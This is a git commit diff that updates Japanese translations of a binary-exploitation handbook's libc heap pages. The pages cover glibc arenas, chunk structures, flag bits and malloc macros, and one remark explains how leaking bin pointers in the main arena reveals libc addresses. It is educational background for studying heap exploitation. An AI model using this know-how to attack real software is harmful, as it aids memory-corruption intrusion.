Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat

This commit is contained in:
Translator 2024-09-16 20:59:30 +00:00
parent e98875a291
commit 26109949c4
83 changed files with 848 additions and 800 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 708 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 708 KiB

After

Width:  |  Height:  |  Size: 287 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 287 KiB

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 201 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 201 KiB

After

Width:  |  Height:  |  Size: 197 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 197 KiB

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 609 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 609 KiB

After

Width:  |  Height:  |  Size: 9.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 137 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 137 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 1.3 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.3 MiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 29 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 428 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 428 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 334 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 418 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 418 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 271 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 271 KiB

After

Width:  |  Height:  |  Size: 105 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 105 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.5 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 112 KiB

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 18 KiB

After

Width:  |  Height:  |  Size: 3.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 MiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

After

Width:  |  Height:  |  Size: 262 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 262 KiB

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 284 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 284 KiB

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 58 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 453 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 453 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 210 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 210 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1 MiB

After

Width:  |  Height:  |  Size: 594 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 594 KiB

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 334 KiB

After

Width:  |  Height:  |  Size: 35 KiB

View file

@ -1,56 +1,56 @@
# ヒープ
# Libc Heap
## ヒープの基
## ヒープの基
ヒープは、プログラムが**`malloc`**、`calloc`などの関数を呼び出してデータを要求するときにデータを格納できる場所です。さらに、このメモリが不要になった場合は、**`free`** 関数を呼び出すことで利用可能になります。
ヒープは基本的に、プログラムが**`malloc`**、`calloc`などの関数を呼び出してデータを要求する際にデータを保存できる場所です。さらに、このメモリがもはや必要ない場合は、**`free`**関数を呼び出すことで利用可能になります。
バイナリがメモリにロードされる直後に表示されるように、ヒープはその後に配置されています(`[heap]` セクションを確認):
示されているように、これはバイナリがメモリにロードされた直後の場所です(`[heap]`セクションを確認してください):
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
### チャンクの基本的な割り当て
### 基本的なチャンクの割り当て
ヒープにデータを格納するよう要求されると、ヒープの一部がそれに割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダのスペース + 最小ビンサイズオフセットだけがチャンクのために予約されます。目標は、各チャンクの場所を見つけるのが複雑にならないように、可能な限り最小限のメモリを予約することです。そのために、メタデータチャンク情報が使用され、どこに使用中/空きのチャンクがあるかを知るために使用されます。
ヒープに保存するデータが要求されると、ヒープの一部がそのために割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にすることなく、可能な限り最小限のメモリを予約することです。このために、メタデータチャンク情報が使用され、各使用中/未使用のチャンクの位置を知ることができます。
使用されるビンによって主に異なるスペースの予約方法がありますが、一般的な方法論は次のとおりです:
スペースを予約する方法はいくつかありますが、主に使用されるビンによって異なりますが、一般的な方法論は次のとおりです
- プログラムは一定量のメモリを要求して開始します。
- チャンクのリストに要求を満たすのに十分な大きさの空きがあれば、それが使用されます。
- これは、利用可能なチャンクの一部がこの要求に使用され、残りがチャンクリストに追加されることさえ意味するかもしれません
- リストに利用可能なチャンクがない場合でも、割り当てられたヒープメモリにはまだスペースがある場合、ヒープマネージャは新しいチャンクを作成します。
- 新しいチャンクを割り当てるためのヒープスペースが十分でない場合、ヒープマネージャはカーネルにヒープに割り当てられたメモリを拡張するように要求し、そのメモリを使用して新しいチャンクを生成します。
- すべてが失敗した場合、`malloc` は null を返します。
* プログラムは特定の量のメモリを要求することから始まります。
* チャンクのリストに、要求を満たすのに十分な大きさの空きがあれば、それが使用されます。
* これは、利用可能なチャンクの一部がこの要求に使用され、残りがチャンクリストに追加されることを意味する場合もあります
* リストに利用可能なチャンクがないが、割り当てられたヒープメモリにまだスペースがある場合、ヒープマネージャは新しいチャンクを作成します。
* 新しいチャンクを割り当てるのに十分なヒープスペースがない場合、ヒープマネージャーはカーネルにヒープに割り当てられたメモリを拡張するように要求し、その後このメモリを使用して新しいチャンクを生成します。
* すべてが失敗した場合、`malloc`はnullを返します。
要求されたメモリが**しきい値を超える**場合は、要求されたメモリをマップするために **`mmap`** が使用されることに注意してください。
要求された**メモリが閾値を超えた場合**、**`mmap`**が要求されたメモリをマッピングするために使用されることに注意してください。
## アリーナ
**マルチスレッド**アプリケーションでは、ヒープマネージャはクラッシュにつながる可能性のある**競合状態**を防止する必要があります。最初は、**グローバルミューテックス**を使用して、一度に1つのスレッドだけがヒープにアクセスできるようにすることでこれを行っていましたが、これにより**パフォーマンスの問題**が発生しました。
**マルチスレッド**アプリケーションでは、ヒープマネージャーはクラッシュを引き起こす可能性のある**レースコンディション**を防ぐ必要があります。最初は、**グローバルミューテックス**を使用して、同時に1つのスレッドだけがヒープにアクセスできるようにしていましたが、これによりミューテックスによるボトルネックが発生し、**パフォーマンスの問題**が生じました。
これを解決するために、ptmalloc2ヒープアロケータは「アリーナ」を導入しました。ここでは、**各アリーナ**が**独自の**データ**構造**と**ミューテックス**を持つ**別々のヒープ**として機能し、異なるアリーナを使用すれば複数のスレッドが互いに干渉せずにヒープ操作を実行できます。
これに対処するために、ptmalloc2ヒープアロケータは「アリーナ」を導入しました。ここで**各アリーナ**は**独自の**データ**構造**と**ミューテックス**を持つ**別々のヒープ**として機能し、異なるアリーナを使用する限り、複数のスレッドが互いに干渉することなくヒープ操作を実行できます。
デフォルトの「メイン」アリーナは、単一スレッドアプリケーションのためにヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャは**セカンダリアリーナ**を割り当てて競合を減らします。まず、新しいスレッドを未使用のアリーナに割り当てようとし、必要に応じて新しいアリーナを作成し、32ビットシステムではCPUコア数の2倍まで、64ビットシステムでは8倍までの制限まで新しいスレッドをアタッチしようとします。制限に達すると、**スレッドはアリーナを共有**する必要があり、競合が発生する可能性があります。
デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいアリーナを作成します。32ビットシステムではCPUコア数の2倍、64ビットシステムでは8倍の制限まで行います。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合の可能性が生じます。
メインアリーナが`brk`システムコールを使用して拡張するのに対し、セカンダリアリーナは`mmap`と`mprotect`を使用して「サブヒープ」を作成し、ヒープの動作をシミュレートしてメモリをマルチスレッド操作のために柔軟に管理します。
メインアリーナとは異なり、`brk`システムコールを使用して拡張されるメインアリーナに対し、セカンダリアリーナは`mmap`と`mprotect`を使用して「サブヒープ」を作成し、マルチスレッド操作のためのメモリ管理の柔軟性を提供します。
### サブヒープ
サブヒープは、マルチスレッドアプリケーションのセカンダリアリーナにとってメモリリザーブとして機能し、メインヒープとは異なるヒープ領域を独自に成長および管理できます。以下は、サブヒープが初期ヒープとどのように異なり、どのように動作するかです:
サブヒープは、マルチスレッドアプリケーションにおけるセカンダリアリーナのメモリ予備として機能し、メインヒープとは別に自分自身のヒープ領域を成長させ、管理することを可能にします。サブヒープが初期ヒープとどのように異なり、どのように機能するかは次のとおりです:
1. **初期ヒープとサブヒープ**:
- 初期ヒープはプログラムのバイナリの直後に配置され、`sbrk`システムコールを使用して拡張されます。
- セカンダリアリーナで使用されるサブヒープは、指定されたメモリ領域をマップする`mmap`を介して作成されます。
2. **`mmap`を使用したメモリリザーブ**:
- ヒープマネージャがサブヒープを作成すると、`mmap`を介して大きなメモリブロックを予約します。この予約はメモリを即座に割り当てるのではなく、他のシステムプロセスや割り当てが使用しない領域を単に指定します。
- デフォルトでは、32ビットプロセスのサブヒープの予約サイズは1 MB、64ビットプロセスの場合は64 MBです。
3. **`mprotect`を使用した段階的な拡張**:
- 予約されたメモリ領域は最初は`PROT_NONE`としてマークされ、カーネルはこのスペースに物理メモリを割り当てる必要がないことを示します。
- サブヒープを「成長」させるために、ヒープマネージャは`mprotect`を使用してページの権限を`PROT_NONE`から`PROT_READ | PROT_WRITE`に変更し、カーネルに以前に予約されたアドレスに物理メモリを割り当てるように促します。この段階的アプローチにより、サブヒープは必要に応じて拡張されます。
- サブヒープ全体が使い切られると、ヒープマネージャは新しいサブヒープを作成して割り当てを継続します。
1. **初期ヒープとサブヒープ**
* 初期ヒープはプログラムのバイナリの直後にメモリに位置し、`sbrk`システムコールを使用して拡張されます。
* セカンダリアリーナによって使用されるサブヒープは、指定されたメモリ領域をマッピングするシステムコールである`mmap`を通じて作成されます。
2. **`mmap`によるメモリ予約**
* ヒープマネージャーがサブヒープを作成するとき、大きなメモリブロックを`mmap`を通じて予約します。この予約は即座にメモリを割り当てるわけではなく、他のシステムプロセスや割り当てが使用しないべき領域を指定するだけです。
* デフォルトでは、サブヒープの予約サイズは32ビットプロセスで1 MB、64ビットプロセスで64 MBです。
3. **`mprotect`による段階的拡張**
* 予約されたメモリ領域は最初に`PROT_NONE`としてマークされ、カーネルがこのスペースに物理メモリを割り当てる必要がないことを示します。
* サブヒープを「成長」させるために、ヒープマネージャは`mprotect`を使用してページの権限を`PROT_NONE`から`PROT_READ | PROT_WRITE`に変更し、カーネルに以前に予約されたアドレスに物理メモリを割り当てるように促します。この段階的アプローチにより、サブヒープは必要に応じて拡張できます。
* サブヒープが完全に使い果たされると、ヒープマネージャーは新しいサブヒープを作成して割り当てを続けます。
### heap\_info <a href="#heap_info" id="heap_info"></a>
この構造体はヒープの関連情報を割り当てます。さらに、より多くの割り当てが行われた後、ヒープメモリが連続していない場合、この構造体にその情報も格納されます。
この構造体はヒープの関連情報を割り当てます。さらに、ヒープメモリは追加の割り当ての後に連続していない場合があるため、この構造体はその情報も保存します。
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
@ -70,13 +70,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
```
### malloc\_state
**各ヒープ**(メインアリーナまたは他のスレッドアリーナ)には**`malloc_state`構造体**があります。\
重要なのは、**メインアリーナの`malloc_state`**構造体が**libc内のグローバル変数**であることですしたがって、libcメモリスペースに配置されています)。\
スレッドのヒープの**`malloc_state`**構造体の場合、それらは**独自のスレッド"ヒープ"内に配置**されています
**各ヒープ**(メインアリーナまたは他のスレッドアリーナ)には**`malloc_state`構造体があります。**\
**メインアリーナの`malloc_state`**構造体は**libcのグローバル変数**であることに注意することが重要ですしたがってlibcメモリ空間に位置しています)。\
スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」内に位置しています**
この構造体から注目すべき興味深い点がいくつかあります以下のCコードを参照
* `__libc_lock_define (, mutex);` は、このヒープからの構造体が1つのスレッドによってアクセスされることを確認するためにあります
* `__libc_lock_define (, mutex);` は、このヒープの構造体が1つのスレッドによって同時にアクセスされることを保証するためにあります。
* フラグ:
* ```c
#define NONCONTIGUOUS_BIT (2U)
@ -86,11 +86,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
* `mchunkptr bins[NBINS * 2 - 2];` には、小さな、大きな、未整列の**bins**の最初と最後のチャンクへの**ポインタ**が含まれています(-2はインデックス0が使用されていないためです
* したがって、これらのbinsの**最初のチャンク**には、この構造体への**逆ポインタ**があり、これらのbinsの**最後のチャンク**には、この構造体への**前方ポインタ**があります。つまり、メインアリーナでこれらのアドレスを**リーク**できれば、**libc**内の構造体へのポインタを取得できます。
* 構造体`struct malloc_state *next;` `struct malloc_state *next_free;` はアリーナのリンクリストです
* `top`チャンクは最後の「チャンク」であり、基本的に**ヒープの残りのスペース全体**です。`top`チャンクが「空」になると、ヒープは完全に使用され、さらにスペースを要求する必要があります。
* `last reminder`チャンクは、正確なサイズのチャンクが利用できない場合や、より大きなチャンクが分割された場合に残りの部分が配置されるケースから来ています。
* `mchunkptr bins[NBINS * 2 - 2];` は**小さな、大きな、未ソートの** **ビン**の**最初と最後のチャンク**への**ポインタ**を含んでいます(-2はインデックス0が使用されていないためです
* したがって、これらのビンの**最初のチャンク**はこの構造体への**逆ポインタ**を持ち、これらのビンの**最後のチャンク**はこの構造体への**前方ポインタ**を持ちます。基本的に、**メインアリーナでこれらのアドレスをl**eakできれば、**libc**内の構造体へのポインタを持つことになります。
* 構造体`struct malloc_state *next;`と`struct malloc_state *next_free;`はアリーナのリンクリストです
* `top`チャンクは最後の「チャンク」であり、基本的に**ヒープの残りのすべてのスペース**です。トップチャンクが「空」であると、ヒープは完全に使用されており、さらにスペースを要求する必要があります。
* `last reminder`チャンクは、正確なサイズのチャンクが利用できない場合に発生し、したがって大きなチャンクが分割され、残りの部分のポインタがここに置かれます。
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -140,7 +140,7 @@ INTERNAL_SIZE_T max_system_mem;
```
### malloc\_chunk
この構造体はメモリの特定のチャンクを表します。さまざまなフィールドは、割り当てられたチャンクと未割り当てのチャンクで異なる意味を持ちます。
この構造体は特定のメモリチャンクを表します。さまざまなフィールドは、割り当てられたチャンクと未割り当てのチャンクで異なる意味を持ちます。
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
@ -155,35 +155,35 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
```
以前にコメントされたように、これらのチャンクにはメタデータも含まれており、この画像で非常によく表現されています:
前述のように、これらのチャンクにはメタデータも含まれており、この画像で非常によく表現されています:
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
メタデータは通常、現在のチャンクサイズを示す0x08Bであり、最後の3ビットを使用して次のように示されます:
メタデータは通常0x08Bで、現在のチャンクサイズを示し、最後の3ビットを使用して次のことを示します:
* `A`1の場合、サブヒープから来ている。0の場合、メインアリーナにある。
* `M`1の場合、このチャンクはmmapで割り当てられたスペースの一部であり、ヒープの一部ではない。
* `P`1の場合、前のチャンクが使用中である。
* `A`: 1の場合はサブヒープから、0の場合はメインアリーナにあります
* `M`: 1の場合、このチャンクはmmapで割り当てられたスペースの一部であり、ヒープの一部ではありません
* `P`: 1の場合、前のチャンクは使用中です
その後、ユーザーデータのスペース、最後に、チャンクが利用可能な場合は前のチャンクサイズを示すために0x08Bがありますまたは割り当てられている場合はユーザーデータを格納するため)。
次に、ユーザーデータのためのスペースがあり、最後にチャンクが利用可能なときの前のチャンクサイズを示すための0x08Bまたは割り当てられたときのユーザーデータを格納するため)。
さらに、利用可能な場合、ユーザーデータはいくつかのデータも含んでいます:
さらに、利用可能な場合、ユーザーデータは次のデータを含むためにも使用されます:
* **`fd`**次のチャンクへのポインタ
* **`bk`**前のチャンクへのポインタ
* **`fd_nextsize`**:自分よりも小さい最初のチャンクへのポインタ
* **`bk_nextsize`**:自分よりも大きいリスト内の最初のチャンクへのポインタ
* **`fd`**: 次のチャンクへのポインタ
* **`bk`**: 前のチャンクへのポインタ
* **`fd_nextsize`**: 自身より小さいリスト内の最初のチャンクへのポインタ
* **`bk_nextsize`:** 自身より大きいリスト内の最初のチャンクへのポインタ
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
{% hint style="info" %}
リストをこの方法でリンクすることで、すべてのチャンクが登録されている配列を持つ必要がなくなることに注してください。
このようにリストをリンクすることで、すべてのチャンクが登録されている配列を持つ必要がなくなることに注してください。
{% endhint %}
### チャンクポインタ
mallocを使用すると、書き込むことができるコンテンツへのポインタが返されます(ヘッダーの直後)ただし、チャンクを管理する際には、ヘッダー(メタデータ)の先頭へのポインタが必要です。\
これらの変換には次の関数が使用されます:
mallocが使用されると、書き込むことができるコンテンツへのポインタが返されます(ヘッダーの直後)ただし、チャンクを管理する際には、ヘッダー(メタデータ)の先頭へのポインタが必要です。\
これらの変換には次の関数が使用されます:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -201,7 +201,7 @@ mallocを使用すると、書き込むことができるコンテンツへの
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
### アライメント最小サイズ
### アライメント最小サイズ
チャンクへのポインタと `0x0f` は 0 でなければなりません。
```c
@ -258,11 +258,13 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req);
}
```
### チャンクデータを取得してメタデータを変更する
注意:必要な総スペースを計算する際、`prev_size` フィールドはデータを格納するために使用できるため、`SIZE_SZ` は1回だけ追加されます。したがって、初期ヘッダーのみが必要です。
これらの関数は、チャンクへのポインタを受け取り、メタデータをチェック/設定するのに役立ちます:
### チャンクデータを取得し、メタデータを変更する
* チャンクのフラグをチェック
これらの関数はチャンクへのポインタを受け取り、メタデータをチェック/設定するのに便利です:
* チャンクフラグをチェック
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -325,7 +327,7 @@ people extending or adapting this malloc.
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
* ビットの継続
* インシュービット
```c
/* extract p's inuse bit */
#define inuse(p) \
@ -349,7 +351,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
* チャンクが使用中の場合は、ヘッダーとフッターを設定しま
* ヘッダーとフッターを設定する(チャンク番号が使用されている場合)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -360,7 +362,7 @@ people extending or adapting this malloc.
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
* チャンク内の実際に使用可能なデータのサイズを取得しま
* チャンク内の実際に使用可能なデータのサイズを取得す
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
@ -393,7 +395,7 @@ return ptr;
### クイックヒープの例
[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) からのクイックヒープの例をarm64で示します。
[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) からのクイックヒープの例ですが、arm64で:
```c
#include <stdio.h>
#include <stdlib.h>
@ -406,23 +408,23 @@ ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
main 関数の最後にブレークポイントを設定し、情報が格納されている場所を見つけましょう:
Set a breakpoint at the end of the main function and lets find out where the information was stored:
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
`0xaaaaaaac12a0` に文字列 panda が格納されていることがわかります(これは `x0` 内の malloc によって返されたアドレスでした)。その前の 0x10 バイトをチェックすると、`0x0` が **前のチャンクが使用されていないこと**(長さ 0を表し、このチャンクの長さが `0x21` であることがわかります。
文字列pandaが`0xaaaaaaac12a0`に格納されていることがわかります(これは`x0`内のmallocによって返されたアドレスです。0x10バイト前を確認すると、`0x0`は**前のチャンクが使用されていない**ことを示しており長さ0、このチャンクの長さは`0x21`です。
追加されたヘッダー0x10から来る余分なスペース0x21-0x10=0x11は、0x1 が 0x21B に予約されていたことを意味するのではなく、現在のヘッダーの長さの最後の 3 ビットに特別な意味があることを示しています。長さは常に 16 バイトに整列されるため64 ビットマシンでは)、これらのビットは実際には長さ番号によって使用されることはありません。
予約された余分なスペース0x21-0x10=0x11は**追加ヘッダー**0x10から来ており、0x1は0x21Bが予約されたことを意味するのではなく、現在のヘッダーの長さの最後の3ビットには特別な意味があります。長さは常に16バイト境界に揃えられているため64ビットマシンで、これらのビットは実際には長さの数値によって使用されることはありません。
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
### マルチスレッディングの例
### マルチスレッの例
<details>
<summary>マルチスレッディング</summary>
<summary>マルチスレッ</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -466,35 +468,35 @@ return 0;
```
</details>
前の例のデバッグを行うと、最初に1つのアリーナしかないことがわかります
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
その後、最初のスレッド、つまりmallocを呼び出すスレッドを呼び出した後、新しいアリーナが作成されます
前の例をデバッグすると、最初に1つのアリーナしかないことがわかります
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
そしてその中にいくつかのチャンクが見つかります:
次に、最初のスレッド、mallocを呼び出すスレッドを呼び出すと、新しいアリーナが作成されます
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees
その中にはいくつかのチャンクが見つかります:
どのようにビンが構成され、メモリが割り当てられ、解放されるかを確認する:
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
## ビンとメモリの割り当て/解放
ビンが何であり、どのように整理され、メモリがどのように割り当てられ、解放されるかを確認してください:
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
## Heap Functions Security Checks
## ヒープ関数のセキュリティチェック
ヒープに関与する関数は、そのアクションを実行する前にヒープが破損していないかを確認するために、特定のチェックを実行します:
ヒープに関与する関数は、アクションを実行する前に特定のチェックを行い、ヒープが破損していないことを確認しようとします:
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
{% endcontent-ref %}
## References
## 参考文献
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View file

@ -1,16 +1,16 @@
# unlink
{% hint style="success" %}
AWSハッキングの学習と練習:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングの学習と練習: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksのサポート</summary>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
